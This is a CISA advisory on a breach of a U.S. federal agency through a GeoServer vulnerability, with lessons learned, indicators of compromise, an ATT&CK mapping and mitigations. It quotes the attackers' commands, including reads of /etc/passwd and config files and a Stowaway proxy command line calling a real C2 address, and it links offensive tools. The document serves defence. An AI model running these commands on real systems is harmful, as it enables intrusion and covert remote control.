Advisory at a Glance Executive Summary CISA began incident response efforts at a U.S. federal civilian executive branch (FCEB) agency following the detection of potential malicious activity identified through security alerts generated by the agency’s endpoint detection and response (EDR) tool. CISA identified three lessons learned from the engagement that illuminate how to effectively mitigate risk, prepare for, and respond to incidents: vulnerabilities were not promptly remediated, the agency did not test or exercise their incident response plan (IRP), and EDR alerts were not continuously reviewed. Key Actions Prevent compromise by prioritizing the patching of critical vulnerabilities in public-facing systems and known exploited vulnerabilities. Prepare for incidents by maintaining, practicing, and updating incident response plans. Prepare for incidents by implementing comprehensive and verbose logging and aggregate logs in a centralized out-of-band location. Indicators of Compromise For a downloadable copy of indicators of compromise, see: AA25-266A-JSON.stix_.json AA25-266A-STIX.stix_.xml Intended Audience Organizations: FCEB agencies and critical infrastructure organizations. Roles: Defensive Cybersecurity Analysts, Vulnerability Analysts, Security Systems Managers, Systems Security Analysts, and Cybersecurity Policy and Planning Professionals. Download the PDF version of this report AA25-266A advisory cisa shares lessons learned from ir engagement Introduction The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory to highlight lessons learned from an incident response engagement CISA conducted at a U.S. federal civilian executive branch (FCEB) agency. CISA is publicizing this advisory to reinforce the importance of prompt patching, as well as preparing for incidents by practicing incident response plans and by implementing logging and aggregating logs in a centralized out-of-band location. CISA is also raising awareness about the tactics, techniques, and procedures (TTPs) employed by these cyber threat actors to help organizations safeguard against similar exploits. CISA began incident response efforts at an FCEB agency after the agency identified potential malicious activity through security alerts generated by the agency’s endpoint detection and response (EDR) tool. CISA discovered cyber threat actors compromised the agency by exploiting CVE-2024-36401 in a GeoServer about three weeks prior to the EDR alerts. Over the three-week period, the cyber threat actors gained separate initial access to a second GeoServer via the same vulnerability and moved laterally to two other servers. Leveraging insights CISA gleaned from the organization’s security posture and response, CISA is sharing lessons learned for organizations to mitigate similar compromises (see Lessons Learned for more details): Vulnerabilities were not promptly remediated. The cyber threat actors exploited CVE-2024-36401 for initial access on two GeoServers. The vulnerability was disclosed 11 days prior to the cyber threat actors accessing the first GeoServer and 25 days prior to them accessing the second GeoServer. The agency did not test or exercise their incident response plan (IRP), nor did their IRP enable them to promptly engage third parties and grant third parties access to necessary resources. This delayed certain elements of CISA’s response as the IRP did not have procedures for involving third-party assistance or for granting third-party access to their security tools. EDR alerts were not continuously reviewed, and some public-facing systems lacked endpoint protection. The activity remained undetected for three weeks; the agency missed an opportunity to detect this activity earlier as they did not observe an alert from a GeoServer and the Web Server did not have endpoint protection. These lessons highlight strategies to effectively mitigate risk, enhance preparedness, and respond to incidents with greater efficiency. CISA encourages all organizations to consider the lessons learned and apply the associated recommendations in the Mitigations section of this advisory to improve their security posture. This advisory also provides the cyber threat actors’ TTPs and indicators of compromise (IOCs). For a downloadable copy of IOCs, see: AA25-266A-JSON.stix_.json AA25-266A-STIX.stix_.xml Technical Details Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 17. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. Threat Actor Activity CISA responded to a suspected compromise of a large FCEB agency after the agency’s security operations center (SOC) observed multiple endpoint security alerts. During the incident response, CISA discovered that cyber threat actors gained access to the agency’s network on July 11, 2024, by exploiting GeoServer vulnerability CVE 2024-36401 [CWE-95: “Eval Injection”] on a public-facing GeoServer (GeoServer 1). This critical vulnerability, disclosed June 30, 2024, allows unauthenticated users to gain remote code execution (RCE) on affected GeoServer versions [1]. The cyber threat actors used this vulnerability to download open source tools and scripts and establish persistence in the agency’s network. (CISA added this vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog on July 15, 2024.) After gaining initial access to GeoServer 1, the cyber threat actors gained separate initial access to a second GeoServer (GeoServer 2) on July 24, 2024, by exploiting the same vulnerability. They moved laterally from GeoServer 1 to a web server (Web Server) and then a Structured Query Language (SQL) server. On each server, they uploaded (or attempted to upload) web shells such as China Chopper, along with scripts designed for remote access, persistence, command execution, and privilege escalation. The cyber threat actors also used living off the land (LOTL) techniques. See Figure 1 for an overview of the cyber threat actors’ activity and the following sections for detailed threat actors TTPs. Figure 1. Overview of Threat Actor Activity Reconnaissance The cyber threat actors identified CVE-2024-36401 in the organization’s public-facing GeoServer using Burp Suite Burp Scanner [T1595.002]. CISA detected this scanning activity by analyzing web logs and identifying signatures associated with the tool. Specifically, CISA observed domains linked to Burp Collaborator—a component of Burp Suite used for vulnerability detection—originating from the same IP address the cyber threat actors later used to exploit the GeoServer vulnerability for initial access. Resource Development The cyber threat actors used publicly available tools to conduct their malicious operations. In one instance, they gained remote access to the organization’s network and leveraged a commercially available virtual private server (VPS) from a cloud infrastructure provider [T1583.003]. Initial Access To gain initial access to GeoServer 1 and GeoServer 2, the cyber threat actors exploited CVE 2024-36401 [T1190]. They leveraged this vulnerability to gain RCE by performing “eval injection,” a type of code injection that allows an untrusted user’s input to be evaluated as code. The cyber threat actors likely attempted to load a JavaScript extension to gain webserver information as an Apache wicket on GeoServer 1. However, their efforts were likely unsuccessful, as CISA observed attempts to access the .js file returning 404 responses in the web logs, indicating that the server could not find the requested URL. Persistence The cyber threat actors primarily used web shells [T1505.003] on internet-facing hosts, along with cron jobs (scheduled commands that run automatically at specified times) [T1053.003], and valid accounts [T1078] for persistence. CISA also identified the creation of accounts—although these accounts were later deleted—with no evidence indicating further use. Privilege Escalation The cyber threat actors attempted to escalate privileges with the publicly available dirtycow tool [2], which can be used to exploit CVE-2016-5195 [CWE-362: “Race Condition”] [T1068]. After compromising web service accounts, they escalated their local privileges to transition away from these service accounts (it is unknown how they escalated privileges). Note: CVE-2016-5195 affects Linux kernel 2.x through 4.x before 4.8.3 and allows users to escalate privileges. CISA added this CVE to its KEV Catalog on March 3, 2022. Defense Evasion To evade detection, the cyber threat actors employed indirect command execution via .php web shells and xp_cmdshell [T1202] and abused Background Intelligence Transfer Service (BITS) jobs [T1197]. CISA also observed files on GeoServer 1 named RinqQ.exe and RingQ.rar, which likely refer to a publicly available defense evasion tool called RingQ [3], that the cyber threat actors staged for potential use. Note: CISA could not recover most of the files on the host to confirm their contents. Credential Access Once inside the organization’s network, the cyber threat actors primarily relied on brute force techniques [T1110] to obtain passwords for lateral movement and privilege escalation. They also accessed service accounts by exploiting their associated services. Discovery After gaining initial access, the cyber threat actors conducted discovery to facilitate lateral movement. They performed ping sweeps of hosts within specific subnets [T1018] and downloaded the fscan tool [4] to scan the organization’s network. CISA identified the use of the fscan tool by analyzing evidence of its output found on disk. (Note: fscan is publicly available on GitHub and is capable of port scanning, fingerprinting, and web vulnerability detection—among other functions.) Between July 15 and 31, 2024, the cyber threat actors conducted extensive network and vulnerability scanning using fscan and linux-exploit-suggester2.pl. CISA’s host forensics analysts uncovered this activity by reviewing remnants the cyber threat actors left on disk. GeoServer 1 The cyber threat actors leveraged CVE-2024-36401 to execute the following host discovery commands on GeoServer 1: uname-a df-h env ps -aux ipconfig [T1016] date who -b rpm -qa polkit netstat -ano [T1049] Additionally, they employed LOTL techniques for user, service, filesystem, and network discovery on GeoServer 1: cat /etc/passwd [T1087.001] cat /etc/resolv.conf cat /usr/local/apache-tomcat-9.0.89/webapps/geoserver/WEB-INF/web.xml cat /etc/redhat-release [T1082] cat /etc/os-release The cyber threat actors then used curl commands to download a shell script named mm.sh (which they renamed to aa.sh) and a zip file named aaa.zip to the /tmp/ directory. Subsequently, they enumerated the internal network from GeoServer 1, identifying Secure Shell (SSH) listeners, File Transfer Protocol (FTP) servers, file servers, and web servers [T1046] by using the fscan tool. (Note: CISA observed endpoint logs that showed the cyber threat actors uploaded fscan to the compromised host and ran it against internal systems.) The actors then attempted to brute force login credentials for the exploited web services to gain remote access, achieve RCE, or move laterally. The cyber threat actors also conducted ping sweeps of several hosts within the organization’s internal subnets using fscan. Their use of the -nobr and -nopoc flags for fscan indicated that this scan excluded brute forcing or vulnerability scanning, respectively. SQL Server CISA observed the following discovery commands on the organization’s SQL server: whoami [T1033] ipconfig /all ping -n 1 8.8.8.8 systeminfo tasklist [T1057] dir c:\ [T1083] dir c:\Users type c:\Last.txt type c:\inetpub\wwwroot type c:\inetpub\ dir c:\inetpub\wwwroot dir c:\ dir c:\ifwapps dir d:\ dir e:\ net group "domain admins" /domain type C:\Windows\System32\inetsrv\config\applicationHost.config dir c:\ifwapps\Tier1Utilities netstat -ano curl net user tasklist GeoServer 2 Based on images CISA received of GeoServer 2, CISA observed the bash history of a user that showed the use of Burp Collaborator to execute encoded host and network discovery commands. Lateral Movement In one instance, the cyber threat actors moved laterally from the Web Server to the SQL Server by enabling xp_cmdshell for RCE on GeoServer 1. Command and Control The cyber threat actors used PowerShell [T1059.001] and bitsadmin getfile to download payloads [T1105]. They used Stowaway [5], a publicly available multi-level proxy tool, to establish C2 [T1090]. Stowaway enabled the cyber threat actors to bypass the organization’s intranet restrictions and access internal network resources by forwarding traffic from their C2 server through the Web Server. They wrote Stowaway to disk using a tomcat service account. The actors then executed Stowaway via /var/tmp/agent -c 45.32.22[.]62:4441 -s f86bc7ff68aff3ad –up http –reconnect 10. To test their level of access, the cyber threat actors performed a ping sweep of multiple hosts in a particular subnet of the organization’s network. Next, the cyber threat actors downloaded a modified version of Stowaway using a curl command, successfully establishing an outbound connection with their C2 server using HTTP over TCP/4441. On July 14, 2024, the cyber threat actors executed /tmp/mm.sh on the Web Server followed by an encoded command to execute Stowaway. The contents of this file could not be recovered. Additionally, they used Stowaway to establish a second C2 connection over TCP/50012, likely serving as a backup C2 channel. CISA discovered evidence of various files hosted on the C2 server, including numerous publicly available tools and scripts: RingQ antivirus defense evasion tool (RingQ.exe, RingQ.rar) IOX proxy tool (iox.rar) BusyBox trojan multi-tool (busybox) WinRAR archive tool (Rar.exe) Stowaway proxy tool (agent, agent.tar, agent.zip, agentu.exe) Web shells (Handx.ashx, start_tomcat.jsp) Various shell scripts (mm.sh, t.py, t1.sh, c.bat) Detection The cyber threat actors remained undetected in the organization’s environment for three weeks before the organization’s SOC identified the compromise using their EDR tool. On July 31, 2024, their EDR tool identified a 1.txt file uploaded as suspected malware on the SQL Server. The SOC responded to additional alerts when the cyber threat actors transferred 1.txt to the SQL Server through bitsadmin after attempting other LOTL techniques, such as leveraging PowerShell and certutil. The alerts generated by this activity on the SQL server prompted the SOC to contain the server, initiate an investigation, request assistance from CISA, and uncover malicious activity on GeoServer 1. Lessons Learned CISA is sharing the following lessons learned based on what CISA learned about the organization’s security posture through incident detection and response activities. Vulnerabilities were not promptly remediated. The cyber threat actors exploited CVE-2024-36401 for initial access on two GeoServers. The vulnerability was disclosed June 30, 2024, and the cyber threat actors exploited it for initial access to GeoServer 1 on July 11, 2024. The vulnerability was added to CISA’s KEV Catalog on July 15, 2024, and by July 24, 2024, the vulnerability was not patched when the cyber threat actors exploited it for access to GeoServer 2. Note: FCEB agencies are required to remediate vulnerabilities in CISA’s KEV Catalog within prescribed timeframes under Binding Operational Directive (BOD) 22-01. July 24, 2024, was within the KEV-required patching window for this CVE. However, CISA encourages FCEB agencies and critical infrastructure organizations to address KEV catalog vulnerabilities immediately as part of their vulnerability management plan. The agency did not test or exercise their IRP, nor did their IRP enable them to promptly engage third parties and grant third parties’ access to necessary resources. On Aug. 1, 2024, upon discovering the endpoint alerts, the agency conducted remote triage of affected systems and used their EDR tool to contain the intrusion. After containment, the agency engaged CISA to investigate potential threat actor persistence in their environment. Their IRP did not have procedures for bringing in third parties for assistance, which hampered CISA’s efforts to respond to the incident quickly and efficiently. The agency could not provide CISA remote access to their security information and event management (SIEM) tool, which initially kept CISA from reviewing all available logs, hindering CISA’s analysis. The agency had to go through their change control board process before CISA could deploy their EDR agents. The agency could have proactively identified these roadblocks by testing their IRP, such as via a tabletop exercise, but had not tested their plan for a long period. EDR alerts were not continuously reviewed, and some public-facing systems lacked endpoint protection. The activity remained undetected for three weeks; the agency missed an opportunity to detect this activity on July 15, 2024, as they did not observe an alert from GeoServer 1 where the EDR detected the Stowaway tool. The Web Server lacked endpoint protection. Indicators of Compromise See Table 1 for IOCs associated with this activity. Disclaimer: The IP addresses in this advisory were observed in August 2024, and some may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors. Table 1. IOCs IOC Type Date Description 45.32.22[.]62 IPv4 Mid-July to early August 2024 C2 Server IP Address 45.17.43[.]250 IPv4 Mid-July to early August 2024 C2 Server IP Address 0777EA1D01DAD6DC261A6B602205E2C8 MD5 Mid-July to early August 2024 China Chopper Web Shell feda15d3509b210cb05eacc22485a78c MD5 Mid-July to early August 2024 Generic PHP Web Shell C9F4C41C195B25675BFA860EB9B45945 MD5 Mid-July to early August 2024 Linux Exploit CVE-2016-5195 B7B3647E06F23B9E83D0B1CCE3E71642 MD5 Mid-July to early August 2024 Dirtycow 64e3a3458b3286caaac821c343d4b208 MD5 Mid-July to early August 2024 Stowaway Proxy Tool 20b70dac937377b6d0699a44721acd80 MD5 Mid-July to early August 2024 Unknown Downloaded Executable de778443619f37e2224898a9a800fa78 MD5 Mid-July to early August 2024 Unknown Downloaded Executable MITRE ATT&CK Tactics and Techniques See Table 2 through Table 11 for all referenced threat actor tactics and techniques. Table 2. Reconnaissance Technique Title ID Use Active Scanning: Vulnerability Scanning T1595.002 The cyber threat actors performed active scanning to identify vulnerabilities they could use for initial access. Table 3. Resource Development Technique Title ID Use Acquire Infrastructure: Virtual Private Server T1583.003 The cyber threat actors gained remote access to the victim’s network using a desktop behind a virtual private server (VPS). Table 4. Initial Access Technique Title ID Use Exploit Public-Facing Application T1190 The cyber threat actors exploited CVE 2024-36401 on two of the organization’s public-facing GeoServers. Table 5. Execution Technique Title ID Use Command and Scripting Interpreter: PowerShell T1059.001 The cyber threat actors used PowerShell to download a payload. Table 6. Defense Evasion Technique Title ID Use Indirect Command Execution T1202 The cyber threat actors employed indirect command execution via web shells. Table 7. Persistence Technique Title ID Use BITS Jobs T1197 The cyber threat actors abused BITS jobs. Scheduled Task/Job: Cron T1053.003 The cyber threat actors established persistence through cron jobs. Server Software Component: Web Shell T1505.003 The cyber threat actors uploaded web shells for persistence. Valid Accounts T1078 The cyber threat actors used valid accounts for persistence. Table 8. Privilege Escalation Technique Title ID Use Exploitation for Privilege Escalation T1068 The cyber threat actors attempted to exploit CVE-2016-5195 to escalate privileges. Table 9. Credential Access Technique Title ID Use Brute Force T1110 The cyber threat actors used brute force techniques to obtain login credentials for web services. Table 10. Discovery Technique Title ID Use Account Discovery: Local Account T1087.001 The cyber threat actors used cat /etc/passwd to discover local users. File and Directory Discovery T1083 The cyber threat actors used dir c:\, dir d:\, dir e:\, and type c:\ commands to identify files and directories on the SQL server. Network Service Discovery T1046 The cyber threat actors used fscan to identify SSH listeners and FTP servers. Process Discovery T1057 The cyber threat actors used tasklist on the SQL server. Remote System Discovery T1018 The cyber threat actors performed ping sweeps of hosts within specific subnets. System Information Discovery T1082 The cyber threat actors used cat /etc/redhat-release and cat /etc/os-release commands to get Red Hat Enterprise Linux (RHEL) and Linux operating system information. System Network Configuration Discovery T1016 The cyber threat actors used ipconfig to check GeoServer 1’s and the SQL server’s network configurations. System Network Connections Discovery T1049 The cyber threat actors executed commands such as netstat to obtain a listing of network connections to or from the systems they compromised. System Owner/User Discovery T1033 The cyber threat actors used whoami on the SQL server. Table 11. Command and Control Technique Title ID Use Ingress Tool Transfer T1105 The cyber threat actors used PowerShell and bitsadmin getfile to download payloads. Proxy T1090 The cyber threat actors used a connection proxy to direct traffic from their C2 server. Mitigations CISA recommends organizations implement the mitigations below to improve cybersecurity posture based on lessons learned from the engagement. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections. Establish a vulnerability management plan that includes procedures for prioritization and emergency patching. Prioritize patching of known exploited vulnerabilities listed in the KEV catalog. CISA urges organizations to address KEV catalog vulnerabilities immediately. Prioritize patching vulnerabilities in high-risk systems, including public facing systems as they are attractive targets for threat actors. Ensure high-risk systems are identified and prioritized for rapid patching by implementing asset management practices and conducting an asset inventory. Continuously discover and validate internet-facing assets through automated asset management and scanning (e.g., attack surface management tools, vulnerability scanners). Consider using a configuration management database (CMDB) with discovery and vulnerability tools to enrich asset context and support automated prioritization. Form a dedicated team responsible for assessing and implementing emergency patches, this team should include representatives from IT, security, and relevant business units. Maintain, practice, and update cybersecurity IRPs [CPG 2.S, 5.A]. Prepare a written IRP policy and IRP with senior leadership support. The policy should identify purpose and objectives, what constitutes an incident, prioritization or severity ratings of incidents, clear escalation procedures, IR personnel, and plans for notification, interaction and information sharing with media, law enforcement, and partners. The IRP should identify: Key personnel with knowledge of the network Key resources and courses of action (COAs) for containment and eradication in the event of compromise. Procedures for granting third parties prompt access to networks and security tools. This should include processes for expediating deployment of EDR and other security tools through change control boards (CCBs). The IRP should include procedures for establishing out-of-band communications systems and accounts in case primary systems are compromised or not available (such as with ransomware incidents). Periodically test the IRP under real-world conditions, such as via purple team engagements and tabletop exercises. During the test, include engagement with third party incident responders and external EDR agents and other tools. Following the test, update the IRP as necessary. See CISA’s Tabletop Exercise Packages for resources designed to assist organizations with conducting their own exercises. For more information on IRPs, see the National Institute of Science and Technology’s (NIST’s) SP 800-61 Rev. 3, Incident Response Recommendations and Considerations for Cybersecurity Risk Management: A CSF 2.0 Community Profile. Implement comprehensive (i.e., large coverage) and verbose (i.e., detailed) logging and aggregate logs in an out-of-band, centralized location. Prepare SOCs with sufficient resources to monitor collected logs and responses to malicious cyber threat activity. Consider using a SIEM solution for log aggregation and management. Identify, alert on, and investigate abnormal network activity (as threat actor activity generates unusual network traffic across all phases of the attack chain). Abnormal activity to look for includes: Running scans to discover other network connected devices. Running commands to list, add, or alter administrator accounts. Using PowerShell to download and execute remote programs. Running scripts not usually seen on a network. For additional information, see joint guide Identifying and Mitigating Living off the Land Techniques, which provides prioritized detection recommendations that enable behavior analytics, anomaly detection, and proactive hunting. In addition to the above, CISA recommends organizations implement the following mitigations based on threat actor activity: Require phishing-resistant MFA for access to all privileged accounts and email services accounts [CPG 2.H]. Implement allowlisting for applications, scripts, and network traffic to prevent unauthorized execution and access. Validate Security Controls In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. To get started: Select an ATT&CK technique described in this advisory (see Table 3 through Table 11). Align your security technologies against the technique. Test your technologies against the technique. Analyze your detection and prevention technologies’ performance. Repeat the process for all security technologies to obtain a set of comprehensive performance data. Tune your security program, including people, processes, and technologies, based on the data generated by this process. CISA recommends continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. Resources Incident Response Plan (IRP) Basics Identifying and Mitigating Living Off the Land Techniques Phishing-Resistant Multi-Factor Authentication (MFA) Success Story: USDA’s Fast IDentity Online (FIDO) Implementation Disclaimer The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA. Version History September 23, 2025: Initial version. Apendix: Key Events Timeline Date/Time Relevant Host Event July 1, 2024 n/a CVE-2024-36401 published. July 11, 2024 GeoServer 1 Initial Access to GeoServer 1. July 15, 2024 n/a CVE-2024-36401 added to CISA’s Known Exploited Vulnerabilities Catalog. July 15, 2024 GeoServer 1 EDR detects Stowaway tool on GeoServer 1. July 24, 2024 GeoServer 2 Initial Access to GeoServer 2. July 31, 2024 Web Server Initial Access to Web Server. July 31, 2024 SQL Server Initial Access to SQL Server. Aug. 1, 2024 SQL Server, GeoServer 1 Organization observes SQL Alert and contains SQL Server and GeoServer 1. Aug. 1, 2024 n/a The impacted organization requested assistance from CISA. Aug. 5, 2024 n/a CISA began forensic artifact analysis. Aug. 6, 2024 GeoServer 2 Last observed threat actors’ activity—discovery commands on GeoServer 2. Aug. 8 – Sept. 3, 2024 n/a CISA conducted their full incident response. Notes [1] “GeoServer/GeoServer,” GitHub, published July 1, 2024, https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w. [2] “firefart/dirtycow,” GitHub, last modified 2021, https://github.com/firefart/dirtycow. [3] “T4y1oR/RingQ” GitHub, last modified February 19, 2025. https://github.com/T4y1oR/RingQ. [4] “shadow1ng/fscan,” GitHub, last modified July 2025, https://github.com/shadow1ng/fscan. [5] “ph4ntonn/Stowaway,” GitHub, last modified April 2025, https://github.com/ph4ntonn/Stowaway.